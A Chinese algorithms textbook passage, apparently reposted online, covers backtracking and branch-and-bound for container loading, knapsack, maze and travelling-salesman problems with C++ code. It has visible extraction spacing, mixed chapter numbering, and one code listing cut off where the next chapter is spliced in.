通过确定一个新近到达的节点能否导致一个比当前最优解还要好的解，可加速对最优解的搜索。如果不能，则移动到该节点的任何一个子树都是无意义的，这个节点可被立即杀死，用来杀死活节点的策略称为限界函数（ bounding function）。在例1 6 - 2中，可使用如下限界函数：杀死代表不可行解决方案的节点；对于旅行商问题，可使用如下限界函数：如果目前建立的部分旅行的耗费不少于当前最佳路径的耗费，则杀死当前节点。如果在图1 6 - 4的例子中使用该限界函数，那么当到达节点I时，已经找到了具有耗费2 5的1 , 3 , 2 , 4 , 1的旅行。在节点I，部分旅行1 , 3 , 4的耗费为2 6，若旅行通过该节点，那么不能找到一个耗费小于2 5的旅行，故搜索以I为根节点的子树毫无意义。

小结

回溯方法的步骤如下：

1) 定义一个解空间，它包含问题的解。

2) 用适于搜索的方式组织该空间。

3) 用深度优先法搜索该空间，利用限界函数避免移动到不可能产生解的子空间。

回溯算法的一个有趣的特性是在搜索执行的同时产生解空间。在搜索期间的任何时刻，仅保留从开始节点到当前E-节点的路径。因此，回溯算法的空间需求为O（从开始节点起最长路径的长度）。这个特性非常重要，因为解空间的大小通常是最长路径长度的指数或阶乘。所以如果要存储全部解空间的话，再多的空间也不够用。

练习

1. 考察如下0 / 1背包问题：n= 4，w= [ 2 0 , 2 5 , 1 5 , 3 5 ]，p= [ 4 0 , 4 9 , 2 5 , 6 0 ]，c= 6 2。

1) 画出该0 / 1背包问题的解空间树。

2) 对该树运用回溯算法（利用给出的p s , w s , c值），依回溯算法遍历节点的顺序标记节点。确定回溯算法未遍历的节点。

2. 1) 当n= 5时，画出旅行商问题的解空间树。

2) 在该树上，运用回溯算法（使用图1 6 - 6的例子）。依回溯算法遍历节点的顺序标记节点。确定未被遍历的节点。

3. 每周六， Mary 和Joe 都在一起打乒乓球。她们每人都有一个装有1 2 0个球的篮子。

这样一直打下去，直到两个篮子为空。然后她们需要从球桌周围拾起2 4 0个球，放入各自

的篮子。Mary 只拾她这边的球，而Joe 拾剩下的球。描述如何用旅行商问题帮助Mary 和

Joe 决定她们拾球的顺序以便她们能走最少的路径。

4.2 应用

4.2.1 货箱装船

1. 问题

在1 . 3节中，考察了用最大数量的货箱装船的问题。现在对该问题做一些改动。在新问题中，有两艘船， n 个货箱。第一艘船的载重量是c1，第二艘船的载重量是c2，wi 是货箱i 的重量且

n &aring;i = 1wi≤c1+c2。我们希望确定是否有一种可将所有n 个货箱全部装船的方法。若有的话，找出该方法。

例4-4 当n= 3，c1 =c2 = 5 0，w=[10,40,40] 时，可将货箱1 , 2装到第一艘船上，货箱3装到第二艘船上。如果w= [ 2 0 , 4 0 , 4 0 ]，则无法将货箱全部装船。当n &aring;i = 1wi＝c1+c2 时，两艘船的装载问题等价于子集之和（ s u m - o f - s u b s e t）问题，即有n 个数字，要求找到一个子集（如果存在的话）使它的和为c1。当c1=c2 且n &aring;i = 1wi＝2c1 时，两艘船的装载问题等价于分割问题（ partition problem），即有n个数字ai , ( 1≤i≤n)，要求找到一个子集（若存在的话），使得子集之和为( n &aring;i = 1ai)/ 2。分割问题和子集之和问题都是N P-复杂问题。而且即使问题被限制为整型数字，它们仍是N P-复杂问题。所以不能期望在多项式时间内解决两艘船的装载问题。当存在一种方法能够装载所有n 个货箱时，可以验证以下的装船策略可以获得成功： 1) 尽可能地将第一艘船装至它的重量极限； 2) 将剩余货箱装到第二艘船。为了尽可能地将第一艘船装满，需要选择一个货箱的子集，它们的总重量尽可能接近c1。这个选择可通过求解0 / 1背包问题来实现，即寻找m ax (n &aring;i = 1wi xi )，其中n &aring;i = 1wi xi≤c1，xi &Icirc;{ 0 , 1 }，1≤i≤n。当重量是整数时，可用1 5 . 2节的动态规划方法确定第一艘船的最佳装载。用元组方法所需时间为O ( m i n {c1 , 2 n }）。可以使用回溯方法设计一个复杂性为O ( 2n ) 的算法，在有些实例中，该方法比动态规划算法要好。

2. 第一种回溯算法

既然想要找到一个重量的子集，使子集之和尽量接近c1，那么可以使用一个子集空间，并将其组织成如图1 6 - 2那样的二叉树。可用深度优先的方法搜索该解空间以求得最优解。使用限界函数去阻止不可能获得解答的节点的扩张。如果Z是树的j+ 1层的一个节点，那么从根到O的路径定义了xi（1≤i≤j）的值。使用这些值，定义c w（当前重量）为n &aring;i = 1wi xi 。若c w>c1，则以O为根的子树不能产生一个可行的解答。可将这个测试作为限界函数。当且仅当一个节点的c w值大于c1 时，定义它是不可行的。

例4-5 假定n= 4，w= [ 8 , 6 , 2 , 3 ]，c1 = 1 2。解空间树为图1 6 - 2的树再加上一层节点。搜索从根A开始且c w= 0。若移动到左孩子B则c w= 8，c w≤c1 = 1 2。以B为根的子树包含一个可行的节点，故移动到节点B。从节点B不能移动到节点D，因为c w+w2 >c1。移动到节点E，这个移动未改变c w。下一步为节点J，c w= 1 0。J的左孩子的c w值为1 3，超出了c1，故搜索不能移动到J的左孩子。

可移动到J的右孩子，它是一个叶节点。至此，已找到了一个子集，它的c w= 1 0。xi 的值由从A到J的右孩子的路径获得，其值为[ 1 , 0 , 1 , 0 ]。

回溯算法接着回溯到J，然后是E。从E，再次沿着树向下移动到节点K，此时c w= 8。移动到它的左子树，有c w= 11。既然已到达了一个叶节点，就看是否c w的值大于当前的最优c w 值。结果确实大于最优值，所以这个叶节点表示了一个比[ 1 , 0 , 1 , 0 ]更好的解决方案。到该节点的路径决定了x 的值[ 1 , 0 , 0 , 1 ]。从该叶节点，回溯到节点K，现在移动到K的右孩子，一个具有c w= 8的叶节点。这个叶节点中没有比当前最优cw 值还好的cw 值，所以回溯到K , E , B直到A。从根节点开始，沿树继续向下移动。算法将移动到C并搜索它的子树。

当使用前述的限界函数时，便产生了程序1 6 - 1所示的回溯算法。函数M a x L o a d i n g返回≤c的最大子集之和，但它不能找到产生该和的子集。后面将改进代码以便找到这个子集。

M a x L o a d i n g调用了一个递归函数m a x L o a d i n g，它是类L o a d i n g的一个成员，定义L o a d i n g类是为了减少M a x L o a d i n g中的参数个数。maxLoading(1) 实际执行解空间的搜索。MaxLoading(i) 搜索以i层节点（该节点已被隐式确定）为根的子树。从根到该节点的路径定义的子解答有一个重量值c w，目前最优解答的重量为b e s t w，这些变量以及与类L o a d i n g的一个成员相关联的其他变量，均由M a x L o a d i n g初始化。

程序16-1 第一种回溯算法

template<class T>

class Loading {

friend MaxLoading(T [], T, int);

p r i v a t e :

void maxLoading(int i);

int n; // 货箱数目

T *w, // 货箱重量数组

c, // 第一艘船的容量

c w, // 当前装载的重量

bestw; // 目前最优装载的重量

} ;

template<class T>

void Loading<T>::maxLoading(int i)

{// 从第i 层节点搜索

if (i > n) {// 位于叶节点

if (cw > bestw) bestw = cw;

r e t u r n ; }

// 检查子树

if (cw + w[i] <= c) {// 尝试x[i] = 1

cw += w[i];

m a x L o a d i n g ( i + 1 ) ;

cw -= w[i];}

maxLoading(i+1);// 尝试x[i] = 0

}

template<class T>

T MaxLoading(T w[], T c, int n)

{// 返回最优装载的重量

Loading<T> X;

// 初始化X

X.w = w;

X.c = c;

X.n = n;

X.bestw = 0;

X.cw = 0;

// 计算最优装载的重量

X . m a x L o a d i n g ( 1 ) ;

return X.bestw;

}

如果i＞n，则到达了叶节点。被叶节点定义的解答有重量c w，它一定≤c，因为搜索不会移动到不可行的节点。若c w > b e s t w，则目前最优解答的值被更新。当i≤n 时，我们处在有两个孩子的节点Z上。左孩子表示x [ i ] = 1的情况，只有c w + w [ i ]≤c 时，才能移到这里。当移动到左孩子时， cw 被置为c w + w [ i ]，且到达一个i + 1层的节点。以该节点为根的子树被递归搜索。当搜索完成时，回到节点Z。为了得到Z的cw 值，需用当前的cw 值减去w [ i ]，Z的右子树还未搜索。既然这个子树表示x [ i ] = 0的情况，所以无需进行可行性检查就可移动到该子树，因为一个可行节点的右孩子总是可行的。

注意：解空间树未被m a x L o a d i n g显示构造。函数m a x L o a d i n g在它到达的每一个节点上花费( 1 )时间。到达的节点数量为O ( 2n )，所以复杂性为O ( 2n )。这个函数使用的递归栈空间为(n)。

3. 第二种回溯方法

通过不移动到不可能包含比当前最优解还要好的解的右子树，能提高函数m a x L o a d i n g的性能。令b e s t w为目前最优解的重量， Z为解空间树的第i 层的一个节点， c w的定义如前。以Z为根的子树中没有叶节点的重量会超过c w + r，其中r=n &aring;j = i + 1w[ j ] 为剩余货箱的重量。因此，当c w + r≤b e s t w时，没有必要去搜索Z的右子树。

例4-6 令n, w, c1 的值与例4 - 5中相同。用新的限界函数，搜索将像原来那样向前进行直至到达第一个叶节点J（它是J的右孩子）。bestw 被置为1 0。回溯到E，然后向下移动到K的左孩子，此时b e s t w被更新为11。我们没有移动到K的右孩子，因为在右孩子节点c w = 8，r = 0，c w + r≤b e s t w。回溯到节点A。同样，不必移动到右孩子C，因为在C点c w = 0，r = 11且c w + r≤b e s t w。加强了条件的限界函数避免了对A的右子树及K的右子树的搜索。

当使用加强了条件的限界函数时，可得到程序1 6 - 2的代码。这个代码将类型为T的私有变量r 加到了类L o a d i n g的定义中。新的代码不必检查是否一个到达的叶节点有比当前最优解还优的重量值。这样的检查是不必要的，因为加强的限界函数不允许移动到不能产生较好解的节点。因此，每到达一个新的叶节点就意味着找到了比当前最优解还优的解。虽然新代码的复杂性仍是O ( 2n )，但它可比程序1 6 - 1少搜索一些节点。

程序16-2 程序1 6 - 1的优化

template<class T>

void Loading<T>::maxLoading(int i)

{// // 从第i 层节点搜索

if (i > n) {// 在叶节点上

bestw = cw;

r e t u r n ; }

// 检查子树

r -= w[i];

if (cw + w[i] <= c) {//尝试x[i] = 1

cw += w[i];

m a x L o a d i n g ( i + 1 ) ;

cw -= w[i];}

if (cw + r > bestw) //尝试x[i] = 0

m a x L o a d i n g ( i + 1 ) ;

r += w[i];

}

template<class T>

T MaxLoading(T w[], T c, int n)

{// 返回最优装载的重量

Loading<T> X;

// 初始化X

X.w = w;

X.c = c;

X.n = n;

X.bestw = 0;

X.cw = 0;

// r的初始值为所有重量之和

X.r = 0;

for (int i = 1; i <= n; i++)

X.r += w[i];

// 计算最优装载的重量

X . m a x L o a d i n g ( 1 ) ;

return X.bestw;

}

4. 寻找最优子集

为了确定具有最接近c 的重量的货箱子集，有必要增加一些代码来记录当前找到的最优子集。为了记录这个子集，将参数bestx 添加到Maxloading 中。bestx 是一个整数数组，其中元素可为0或1，当且仅当b e s t x [ i ] = 1时，货箱i 在最优子集中。新的代码见程序1 6 - 3。

程序16-3 给出最优装载的代码

template<class T>

void Loading<T>::maxLoading(int i)

{ / /从第i 层节点搜索

if (i > n) {// 在叶节点上

for (int j = 1; j <= n; j++)

bestx[j] = x[j];

bestw = cw; return;}

// 检查子树

r -= w[i];

if (cw + w[i] <= c) {//尝试x[i] = 1

x[i] = 1;

cw += w[i];

m a x L o a d i n g ( i + 1 ) ;

cw -= w[i];}

if (cw + r > bestw) {//尝试x[i] = 0

x[i] = 0;

m a x L o a d i n g ( i + 1 ) ; }

r += w[i];

}

template<class T>

T MaxLoading(T w[], T c, int n, int bestx[])

{// 返回最优装载及其值

Loading<T> X;

// 初始化X

X.x = new int [n+1];

X.w = w;

X.c = c;

X.n = n;

X.bestx = bestx;

X.bestw = 0;

X.cw = 0;

// r的初始值为所有重量之和

X.r = 0;

for (int i = 1; i <= n; i++)

X.r += w[i];

X . m a x L o a d i n g ( 1 ) ;

delete [] X.x;

return X.bestw;

}

这段代码在L o a d i n g中增加了两个私有数据成员： x 和b e s t x。这两个私有数据成员都是整型的一维数组。数组x 用来记录从搜索树的根到当前节点的路径（即它保留了路径上的xi 值），b e s t x记录当前最优解。无论何时到达了一个具有较优解的叶节点， bestx 被更新以表示从根到叶的路径。为1的xi 值确定了要被装载的货箱。数据x 的空间由MaxLoading 分配。

因为bestx 可以被更新O ( 2n )次，故maxLoading 的复杂性为O (n2n )。使用下列方法之一，复杂性可降为O ( 2n )：

1) 首先运行程序1 6 - 2的代码，以决定最优装载重量，令其为W。然后运行程序1 6 - 3的一个修改版本。该版本以b e s t w = W开始运行，当c w + r≥b e s t w时搜索右子树，第一次到达一个叶节点时便终止（即i > n）。

2) 修改程序1 6 - 3的代码以不断保留从根到当前最优叶的路径。尤其当位于i 层节点时，则到最优叶的路径由x [ j ]（1≤j<i）和b e s tx [ j ]（j≤i≤n）给出。按照这种方法，算法每次回溯一级，并在b e s t x中存储一个x [ i ]。由于算法回溯所需时间为O ( 2n )，因此额外开销为O ( 2n )。

5. 一个改进的迭代版本

可改进程序1 6 - 3的代码以减少它的空间需求。因为数组x 中记录可在树中移动的所有路径，故可以消除大小为(n)的递归栈空间。如例4 - 5所示，从解空间树的任何节点，算法不断向左孩子移动，直到不能再移动为止。如果一个叶子已被到达，则最优解被更新。否则，它试图移动到右孩子。当要么到达一个叶节点，要么不值得移动到一个右孩子时，算法回溯到一个节点，条件是从该节点向其右孩子移动有可能找到最优解。这个节点有一个特性，即它是路径中具有x [ i ] = 1的节点中离根节点最近的节点。如果向右孩子的移动是有效的，那么就这么做，然后再完成一系列向左孩子的移动。如果向右孩子的移动是无效的，则回溯到x [ i ] = 1的下一个节点。

该算法遍历树的方式可被编码成与程序1 6 - 4一样的迭代（即循环）算法。不像递归代码，这种代码在检查是否该向右孩子移动之前就移动到了右孩子。如果这个移动是不可行的，则回溯。迭代代码的时间复杂性与程序1 6 - 3一样。

程序16-4 迭代代码

template<class T>

T MaxLoading(T w[], T c, int n, int bestx[])

{// 返回最佳装载及其值

// 迭代回溯程序

// 初始化根节点

int i = 1; // 当前节点的层次

// x[1:i-1] 是到达当前节点的路径

int *x = new int [n+1];

T bestw = 0, // 迄今最优装载的重量

cw = 0, // 当前装载的重量

r = 0; // 剩余货箱重量的和

for (int j = 1; j <= n; j++)

r += w[j];

// 在树中搜索

while (true) {

// 下移，尽可能向左

while (i <= n && cw + w[i] <= c) {

// 移向左孩子

r -= w[i];

cw += w[i];

x[i] = 1;

i + + ;

}

if (i > n) {// 到达叶子

for (int j = 1; j <= n; j++)

bestx[j] = x[j];

bestw = cw;}

else {// 移向右孩子

r -= w[i];

x[i] = 0;

i + + ; }

// 必要时返回

while (cw + r <= bestw) {

// 本子树没有更好的叶子，返回

i - - ;

while (i > 0 && !x[i]) {

// 从一个右孩子返回

r += w[i];

i - - ;

}

if (i == 0) {delete [] x;

return bestw;}

// 移向右子树

x[i] = 0;

cw -= w[i];

i + + ;

}

}

}

4.2.2 0/1背包问题

0 / 1背包问题是一个N P-复杂问题，为了解决该问题，在1 . 4节采用了贪婪算法，在3 . 2节又采用了动态规划算法。在本节，将用回溯算法解决该问题。既然想选择一个对象的子集，将它们装入背包，以便获得的收益最大，则解空间应组织成子集树的形状（如图1 6 - 2所示）。该回溯算法与4 . 2节的装载问题很类似。首先形成一个递归算法，去找到可获得的最大收益。然后，对该算法加以改进，形成代码。改进后的代码可找到获得最大收益时包含在背包中的对象的集合。

与程序1 6 - 2一样，左孩子表示一个可行的节点，无论何时都要移动到它；当右子树可能含有比当前最优解还优的解时，移动到它。一种决定是否要移动到右子树的简单方法是令r 为还未遍历的对象的收益之和，将r 加到c p（当前节点所获收益）之上，若（ r + c p）≤b e s t p（目前最优解的收益），则不需搜索右子树。一种更有效的方法是按收益密度pi / wi 对剩余对象排序，将对象按密度递减的顺序去填充背包的剩余容量，当遇到第一个不能全部放入背包的对象时，就使用它的一部分。

例4-7 考察一个背包例子： n= 4，c= 7，p= [ 9 , 1 0 , 7 , 4 ]，w= [ 3 , 5 , 2 , 1 ]。这些对象的收益密度为[ 3 , 2 , 3 . 5 , 4 ]。当背包以密度递减的顺序被填充时，对象4首先被填充，然后是对象3、对象1。在这三个对象被装入背包之后，剩余容量为1。这个容量可容纳对象2的0 . 2倍的重量。将0 . 2倍的该对象装入，产生了收益值2。被构造的解为x= [ 1 , 0 . 2 , 1 , 1 ]，相应的收益值为2 2。尽管该解不可行（x2 是0 . 2，而实际上它应为0或1），但它的收益值2 2一定不少于要求的最优解。因此，该0 / 1背包问题没有收益值多于2 2的解。

解空间树为图1 6 - 2再加上一层节点。当位于解空间树的节点B时，x1= 1，目前获益为c p= 9。该节点所用容量为c w= 3。要获得最好的附加收益，要以密度递减的顺序填充剩余容量c l e f t=ccw= 4。也就是说，先放对象4，然后是对象3，然后是对象2的0 . 2倍的重量。因此，子树A的最优解的收益值至多为2 2。当位于节点C时，c p=c w= 0，c l e f t= 7。按密度递减顺序填充剩余容量，则对象4和3被装入。然后是对象2的0 . 8倍被装入。这样产生出收益值1 9。在子树C中没有节点可产生出比1 9还大的收益值。

在节点E，c p= 9，c w= 3，c l e f t= 4。仅剩对象3和4要被考虑。当对象按密度递减的顺序被考虑时，对象4先被装入，然后是对象3。所以在子树E中无节点有多于c p+ 4 + 7 = 2 0的收益值。如果已经找到了一个具有收益值2 0或更多的解，则无必要去搜索E子树。

一种实现限界函数的好方法是首先将对象按密度排序。假定已经做了这样的排序。定义类K n a p（见程序1 6 - 5）来减少限界函数B o u n d（见程序1 6 - 6）及递归函数K n a p s a c k（见程序1 6 - 7）的参数数量，该递归函数用于计算最优解的收益值。参数的减少又可引起递归栈空间的减少以及每一个K n a p s a c k的执行时间的减少。注意函数K n a p s a c k和函数m a x L o a d i n g（见程序1 6 - 2）的相似性。同时注意仅当向右孩子移动时，限界函数才被计算。当向左孩子移动时，左孩子的限界函数的值与其父节点相同。

程序16-5 Knap类

template<class Tw, class Tp>

class Knap {

friend Tp Knapsack(Tp *, Tw *, Tw, int);

p r i v a t e :

Tp Bound(int i);

void Knapsack(int i);

Tw c; / /背包容量

int n; // 对象数目

Tw *w; // 对象重量的数组

Tp *p; // 对象收益的数组

Tw cw; // 当前背包的重量

Tp cp; // 当前背包的收益

Tp bestp; // 迄今最大的收益

} ;

程序16-6 限界函数

template<class Tw, class Tp>

Tp Knap<Tw, Tp>::Bound(int i)

{// 返回子树中最优叶子的上限值Return upper bound on value of

// best leaf in subtree.

作者: liuchaohai


常用算法（5）分枝定界
常用算法（5）分枝定界

--------------------------------------------------------------------------------

作者:liuchaohai 来源: 类别:数据算法 日期:2002.09.19 今日/总浏览: 3/7

    第 5 章 分枝定界

任何美好的事情都有结束的时候。现在我们学习的是本书的最后一章。幸运的是，本章用到的大部分概念在前面各章中已作了介绍。类似于回溯法，分枝定界法在搜索解空间时，也经常使用树形结构来组织解空间（常用的树结构是第1 6章所介绍的子集树和排列树）。然而与回溯法不同的是，回溯算法使用深度优先方法搜索树结构，而分枝定界一般用宽度优先或最小耗费方法来搜索这些树。本章与第1 6章所考察的应用完全相同，因此，可以很容易比较回溯法与分枝定界法的异同。相对而言，分枝定界算法的解空间比回溯法大得多，因此当内存容量有限时，回溯法成功的可能性更大。

5.1 算法思想

分枝定界（branch and bound）是另一种系统地搜索解空间的方法，它与回溯法的主要区别在于对E-节点的扩充方式。每个活节点有且仅有一次机会变成E-节点。当一个节点变为E-节点时，则生成从该节点移动一步即可到达的所有新节点。在生成的节点中，抛弃那些不可能导出（最优）可行解的节点，其余节点加入活节点表，然后从表中选择一个节点作为下一个E-节点。从活节点表中取出所选择的节点并进行扩充，直到找到解或活动表为空，扩充过程才结束。

有两种常用的方法可用来选择下一个E-节点（虽然也可能存在其他的方法）：

1) 先进先出（F I F O） 即从活节点表中取出节点的顺序与加入节点的顺序相同，因此活节点表的性质与队列相同。

2) 最小耗费或最大收益法在这种模式中，每个节点都有一个对应的耗费或收益。如果查找一个具有最小耗费的解，则活节点表可用最小堆来建立，下一个E-节点就是具有最小耗费的活节点；如果希望搜索一个具有最大收益的解，则可用最大堆来构造活节点表，下一个E-节点是具有最大收益的活节点。

例5-1 [迷宫老鼠] 考察图16-3a 给出的迷宫老鼠例子和图1 6 - 1的解空间结构。使用F I F O分枝定界，初始时取（1，1）作为E-节点且活动队列为空。迷宫的位置（ 1 , 1）被置为1，以免再次返回到这个位置。（1，1）被扩充，它的相邻节点（ 1，2）和（2，1）加入到队列中（即活节点表）。为避免再次回到这两个位置，将位置（ 1，2）和（2，1）置为1。此时迷宫如图1 7 - 1 a所示，E-节点（1，1）被删除。

节点（1，2）从队列中移出并被扩充。检查它的三个相邻节点（见图1 6 - 1的解空间），只有（1，3）是可行的移动（剩余的两个节点是障碍节点），将其加入队列，并把相应的迷宫位置置为1，所得到的迷宫状态如图17-1b 所示。节点（1，2）被删除，而下一个E-节点（2，1）将会被取出，当此节点被展开时，节点（3，1）被加入队列中，节点（3，1）被置为1，节点（2，1）被删除，所得到的迷宫如图17-1c 所示。此时队列中包含（1，3）和（3，1）两个节点。随后节点（1，3）变成下一个E-节点，由于此节点不能到达任何新的节点，所以此节点即被删除，节点（3，1）成为新的E-节点，将队列清空。节点（ 3，1）展开，（3，2）被加入队列中，而（3，1）被删除。（3，2）变为新的E-节点，展开此节点后，到达节点（3，3），即迷宫的出口。

使用F I F O搜索，总能找出从迷宫入口到出口的最短路径。需要注意的是：利用回溯法找到的路径却不一定是最短路径。有趣的是，程序6 - 11已经给出了利用F I F O分枝定界搜索从迷宫的（1，1）位置到（n，n） 位置的最短路径的代码。

例5-2 [0/1背包问题] 下面比较分别利用F I F O分枝定界和最大收益分枝定界方法来解决如下背包问题：n=3, w=[20,15,15], p=[40,25,25], c= 3 0。F I F O分枝定界利用一个队列来记录活节点，节点将按照F I F O顺序从队列中取出；而最大收益分枝定界使用一个最大堆，其中的E-节点按照每个活节点收益值的降序，或是按照活节点任意子树的叶节点所能获得的收益估计值的降序从队列中取出。本例所使用的背包问题与例1 6 . 2相同，并且有相同的解空间树。

使用F I F O分枝定界法搜索，初始时以根节点A作为E-节点，此时活节点队列为空。当节点

A展开时，生成了节点B和C，由于这两个节点都是可行的，因此都被加入活节点队列中，节点A被删除。下一个E-节点是B，展开它并产生了节点D和E，D是不可行的，被删除，而E被加入队列中。下一步节点C成为E-节点，它展开后生成节点F和G，两者都是可行节点，加入队列中。下一个E-节点E生成节点J和K，J不可行而被删除，K是一个可行的叶节点，并产生一个到目前为止可行的解，它的收益值为4 0。

下一个E-节点是F，它产生两个孩子L、M，L代表一个可行的解且其收益值为5 0，M代表另一个收益值为1 5的可行解。G是最后一个E-节点，它的孩子N和O都是可行的。由于活节点队列变为空，因此搜索过程终止，最佳解的收益值为5 0。

可以看到，工作在解空间树上的F I F O分枝定界方法非常象从根节点出发的宽度优先搜索。它们的主要区别是在F I F O分枝定界中不可行的节点不会被搜索。最大收益分枝定界算法以解空间树中的节点A作为初始节点。展开初始节点得到节点B和C，两者都是可行的并被插入堆中，节点B获得的收益值是4 0（设x1 = 1），而节点C得到的收益值为0。A被删除，B成为下一个E-节点，因为它的收益值比C的大。当展开B时得到了节点D和E，D是不可行的而被删除，E加入堆中。由于E具有收益值4 0，而C为0，因为E成为下一个E-节点。

展开E时生成节点J和K，J不可行而被删除，K是一个可行的解，因此K为作为目前能找到的最优解而记录下来，然后K被删除。由于只剩下一个活节点C在堆中，因此C作为E-节点被展开，生成F、G两个节点插入堆中。F的收益值为2 5，因此成为下一个E-节点，展开后得到节点L和M，但L、M都被删除，因为它们是叶节点，同时L所对应的解被作为当前最优解记录下来。最终，G成为E-节点，生成的节点为N和O，两者都是叶节点而被删除，两者所对应的解都不比当前的最优解更好，因此最优解保持不变。此时堆变为空，没有下一个E-节点产生，搜索过程终止。终止于J的搜索即为最优解。

犹如在回溯方法中一样，可利用一个定界函数来加速最优解的搜索过程。定界函数为最大收益设置了一个上限，通过展开一个特殊的节点可能获得这个最大收益。如果一个节点的定界函数值不大于目前最优解的收益值，则此节点会被删除而不作展开，更进一步，在最大收益分枝定界方法中，可以使节点按照它们收益的定界函数值的非升序从堆中取出，而不是按照节点的实际收益值来取出。这种策略从可能到达一个好的叶节点的活节点出发，而不是从目前具有较大收益值的节点出发。

例5-3 [旅行商问题] 对于图1 6 - 4的四城市旅行商问题，其对应的解空间为图1 6 - 5所示的排列树。F I F O分枝定界使用节点B作为初始的E-节点，活节点队列初始为空。当B展开时，生成节点C、D和E。由于从顶点1到顶点2，3，4都有边相连，所以C、D、E三个节点都是可行的并加入队列中。当前的E-节点B被删除，新的E-节点是队列中的第一个节点，即节点C。因为在图1 6 - 4中存在从顶点2到顶点3和4的边，因此展开C，生成节点F和G，两者都被加入队列。下一步，D成为E-节点，接着又是E，到目前为止活节点队列中包含节点F到K。下一个E-节点是F，展开它得到了叶节点L。至此找到了一个旅行路径，它的开销是5 9。展开下一个E-节点G，得到叶节点M，它对应于一个开销为6 6的旅行路径。接着H成为E-节点，从而找到叶节点N，对应开销为2 5的旅行路径。下一个E-节点是I，它对应的部分旅行1 - 3 - 4的开销已经为2 6，超过了目前最优的旅行路径，因此， I不会被展开。最后，节点J，K成为E-节点并被展开。经过这些展开过程，队列变为空，算法结束。找到的最优方案是节点N所对应的旅行路径。

如果不使用F I F O方法，还可以使用最小耗费方法来搜索解空间树，即用一个最小堆来存储活节点。这种方法同样从节点B开始搜索，并使用一个空的活节点列表。当节点B展开时，生成节点C、D和E并将它们加入最小堆中。在最小堆的节点中， E具有最小耗费（因为1 - 4的局部旅行的耗费是4），因此成为E-节点。展开E生成节点J和K并将它们加入最小堆，这两个节点的耗费分别为1 4和2 4。此时，在所有最小堆的节点中，D具有最小耗费，因而成为E-节点，并生成节点H和I。至此，最小堆中包含节点C、H、I、J和K，H具有最小耗费，因此H成为下一个E-节点。展开节点E，得到一个完整的旅行路径1 - 3 - 2 - 4 - 1，它的开销是2 5。节点J是下一个E-节点，展开它得到节点P，它对应于一个耗费为2 5的旅行路径。节点K和I是下两个E-节点。由于I的开销超过了当前最优的旅行路径，因此搜索结束，而剩下的所有活节点都不能使我们找到更优的解。

对于例5 - 2的背包问题，可以使用一个定界函数来减少生成和展开的节点数量。这种函数将确定旅行的最小耗费的下限，这个下限可通过展开某个特定的节点而得到。如果一个节点的定界函数值不能比当前的最优旅行更小，则它将被删除而不被展开。另外，对于最小耗费分枝定界，节点按照它在最小堆中的非降序取出。

在以上几个例子中，可以利用定界函数来降低所产生的树型解空间的节点数目。当设计定界函数时，必须记住主要目的是利用最少的时间，在内存允许的范围内去解决问题。而通过产生具有最少节点的树来解决问题并不是根本的目标。因此，我们需要的是一个能够有效地减少计算时间并因此而使产生的节点数目也减少的定界函数。

回溯法比分枝定界在占用内存方面具有优势。回溯法占用的内存是O（解空间的最大路径长度），而分枝定界所占用的内存为O（解空间大小）。对于一个子集空间，回溯法需要(n)的内存空间，而分枝定界则需要O ( 2n ) 的空间。对于排列空间，回溯需要(n) 的内存空间，分枝定界需要O (n!) 的空间。虽然最大收益（或最小耗费）分枝定界在直觉上要好于回溯法，并且在许多情况下可能会比回溯法检查更少的节点，但在实际应用中，它可能会在回溯法超出允许的时间限制之前就超出了内存的限制。

练习

1. 假定在一个L I F O分枝定界搜索中，活节点列表的行为与堆栈相同，请使用这种方法来解决例5 - 2的背包问题。L I F O分枝定界与回溯有何区别？

2. 对于如下0 / 1背包问题：n=4, p=[4,3,2,1], w=[1,2,3,4], c =6。

1) 画出有四个对象的背包问题的解空间树。

2) 像例1 7 - 2那样，描述用F I F O分枝定界法解决上述问题的过程。

3) 使用程序1 6 - 6的B o u n d函数来计算子树上任一叶节点可能获得的最大收益值，并根据每一步所能得到的最优解对应的定界函数值来判断是否将节点加入活节点列表中。解空间中哪些节点是使用以上机制的F I F O分枝定界方法产生的？

4) 像例1 7 - 2那样，描述用最大收益分枝定界法解决上述问题的过程。

5) 在最大收益分枝定界中，若使用3）中的定界函数，将产生解空间树中的哪些节点？

5.2 应用

5.2.1 货箱装船

1. FIFO分枝定界

4 . 2 . 1节的货箱装船问题主要是寻找第一条船的最大装载方案。这个问题是一个子集选择

问题，它的解空间被组织成一个子集树。对程序1 6 - 1进行改造，即得到程序1 7 - 1中的F I F O分枝定界代码。程序1 7 - 1只是寻找最大装载的重量。

程序17-1 货箱装船问题的F I F O分枝定界算法

template<class T>

void AddLiveNode(LinkedQueue<T> &Q, T wt,

T& bestw, int i, int n)

{// 如果不是叶节点，则将节点权值w t加入队列Q

if (i == n) {// 叶子

if (wt > bestw) bestw = wt;}

else Q.Add(wt); // 不是叶子

}

template<class T>

T MaxLoading(T w[], T c, int n)

{// 返回最优装载值

// 使用F I F O分枝定界算法

// 为层次1 初始化

LinkedQueue<T> Q; // 活节点队列

Q.Add(-1); //标记本层的尾部

int i = 1; // E-节点的层

T Ew = 0, // E-节点的权值

bestw = 0; // 目前的最优值

// 搜索子集空间树

while (true) {

// 检查E-节点的左孩子

if (Ew + w[i] <= c) // x[i] = 1

AddLiveNode(Q, Ew + w[i], bestw, i, n);

// 右孩子总是可行的

AddLiveNode(Q, Ew, bestw, i, n); // x[i] = 0

Q.Delete(Ew); // 取下一个E-节点

if (Ew == -1) { // 到达层的尾部

if (Q.IsEmpty()) return bestw;

Q.Add(-1); //添加尾部标记

Q.Delete(Ew); // 取下一个E-节点

i++;} // Ew的层

}

}

其中函数MaxLoading 在解空间树中进行分枝定界搜索。链表队列Q用于保存活节点，其中记录着各活节点对应的权值。队列还记录了权值- 1，以标识每一层的活节点的结尾。函数AddLiveNode 用于增加节点（即把节点对应的权值加入活节点队列），该函数首先检验i（当前E-节点在解空间树中的层）是否等于n，如果相等，则已到达了叶节点。叶节点不被加入队列中，因为它们不被展开。搜索中所到达的每个叶节点都对应着一个可行的解，而每个解都会与目前的最优解来比较，以确定最优解。如果i＜n，则节点i 就会被加入队列中。

